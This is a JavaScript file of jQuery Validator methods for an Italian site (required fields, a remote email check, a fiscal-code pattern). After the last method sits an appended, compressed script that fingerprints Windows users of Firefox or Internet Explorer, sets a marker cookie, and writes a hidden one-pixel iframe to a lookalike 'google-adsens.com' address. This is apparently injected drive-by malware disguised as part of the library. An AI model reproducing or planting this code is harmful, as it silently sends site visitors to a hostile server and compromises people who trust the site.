jQuery.validator.addMethod("requiredlabel", function(value, element, param) {
	if (!this.depend(param, element))
		return "dependency-mismatch";
	switch( element.nodeName.toLowerCase() ) {
		case 'select':
			var val = $(element).val();
			return val && val.length > 0;
		case 'input':
			if ( this.checkable(element) )
				return this.getLength(value, element) > 0;
		default:
			return $(element).is('.labeled') ? false : $.trim(value).length > 0;
	}
});

jQuery.validator.addMethod("remoteemail", function(value, element, param) {
	if ( this.optional(element) )
		return "dependency-mismatch";

	var previous = this.previousValue(element);
	if (!this.settings.messages[element.name] )
		this.settings.messages[element.name] = {};
	previous.originalMessage = this.settings.messages[element.name].remoteemail;
	this.settings.messages[element.name].remoteemail = previous.message;

	param = typeof param == "string" && {url:param} || param;

	if ( this.pending[element.name] ) {
		return "pending";
	}
	if ( previous.old === value ) {
		return previous.valid;
	}

	previous.old = value;
	var validator = this;
	this.startRequest(element);
	var data = {};
	data[element.name] = value;
	$.ajax($.extend(true, {
		url: param,
		mode: "abort",
		async: false,
		port: "validate" + element.name,
		dataType: "jsonp",
		data: data,
		success: function(response) {
			if(response.errorCode){
				valid = false;
				var errors = {};
				errors[element.name] = 'Errore (' + response.errorCode + '): ' + response.errorDescription;
				validator.showErrors(errors);
			} else {
				validator.settings.messages[element.name].remoteemail = previous.originalMessage;
				var valid = response.status === "N";
				if ( valid ) {
					//alert(valid);
					var submitted = validator.formSubmitted;
					validator.prepareElement(element);
					validator.formSubmitted = submitted;
					validator.successList.push(element);
					validator.showErrors();
				} else {
					var errors = {};
					var message = (valid === "A") ? "Utente attivo" : (valid === "R") ? "Utente già registrato" : validator.defaultMessage(element, "remoteemail");
					errors[element.name] = previous.message = message;
					validator.showErrors(errors);
				}
			}
			previous.valid = valid;
			validator.stopRequest(element, valid);
		},
		error: function(jqXHR, textStatus, errorThrown){
			alert('ajax error: ' + "XMLHttpRequest="+XMLHttpRequest.responseText+"\ntextStatus="+textStatus+"\nerrorThrown="+errorThrown);
		}
	}, param));
	return "pending"; 
});

jQuery.validator.addMethod("codfisc", function(value, element) { 
	return this.optional(element) || /^[A-Za-z]{6}[0-9]{2}[A-Za-z]{1}[0-9]{2}[A-Za-z]{1}[0-9]{3}[A-Za-z]{1}$/.test(value); 
}, "Inserire un codice fiscale corretto.");var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
